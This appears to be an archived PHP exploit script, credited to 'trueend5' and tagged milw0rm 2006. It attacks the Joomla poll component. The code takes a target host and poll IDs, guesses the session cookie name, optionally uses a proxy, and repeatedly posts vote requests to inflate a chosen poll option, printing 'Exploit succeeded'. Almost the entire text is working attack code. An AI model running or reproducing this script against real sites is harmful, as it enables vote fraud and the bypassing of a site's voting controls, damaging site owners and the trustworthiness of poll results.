Joomla [poll component] arbitrary add votes

by trueend5

Computer Security Researchers Institute

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "

	".$headeri[$li+$ki]."
0".$datai."	".$datai."		".$headeri[$li]."

"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "
"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid proxy...'; die; } echo "OK.
"; echo "Attempting to connect to ".$host." on port ".$port."...
"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "

"; } else { echo "OK.

"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:
"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); //echo nl2br(htmlentities($html)); } $host=trim($_POST[host]); $path=trim($_POST[path]); $port=intval(trim($_POST[port])); $pollid=intval(trim($_POST[pollid])); $voteid=intval(trim($_POST[voteid])); $hits=intval(trim($_POST[hits])); if (($host<>'') and ($path<>'') and ($pollid<>'') and ($voteid<>'') and ($hits<>'')) { $host=str_replace("\r\n","",$host); $path=str_replace("\r\n","",$path); if ($port=='') {$port=80;} if ($hits=='') {$hits=200;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $livesite=$host; if ($path=='/') {$livepath='';} else $livepath=substr("$path", 0, strlen($path)-1); $sessionpath='http://'.$livesite.$livepath; $packet="HEAD ".$p."index.php HTTP/1.1\r\n"; $packet.="User-Agent: Shareaza v1.x.x.xx\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); echo nl2br(htmlentities($html)); //trying to obtain cookiename from HEADER $pattern="([a-z0-9]{32}=)"; if(preg_match($pattern, $html, $matches)) {$match=$matches[0]; $sessionCookieName=substr("$match", 0, strlen($match)-1); } else //trying to generate cookiename {$sessionCookieName= md5( 'site'.$sessionpath );} for ($t = 14; $t < $pollid; $t++) {$voteid=$voteid + 12;} $data="voteid=".$voteid.""; $packet="POST ".$p."index.php?option=com_poll&task=vote&id=".$pollid."&".$sessionCookieName."=1 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); echo nl2br(htmlentities($html)); if (!eregi("Location",$html)) { echo "\n\nExploit failed..."; die(); } else { for ($n = 2; $n <= $hits; $n++) { $data="voteid=".$voteid.""; $packet="POST ".$p."index.php?option=com_poll&task=vote&id=".$pollid."&".$sessionCookieName."=1 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (!eregi("Location",$html)) { echo "\n\nExploit failed..."; die(); } echo "
".$n.":added."; } echo "
Exploit succeeded
"; echo'

Results

'; } } else {echo 'Fill in requested fields, optionally specify a proxy';} ?> # milw0rm.com [2006-08-19]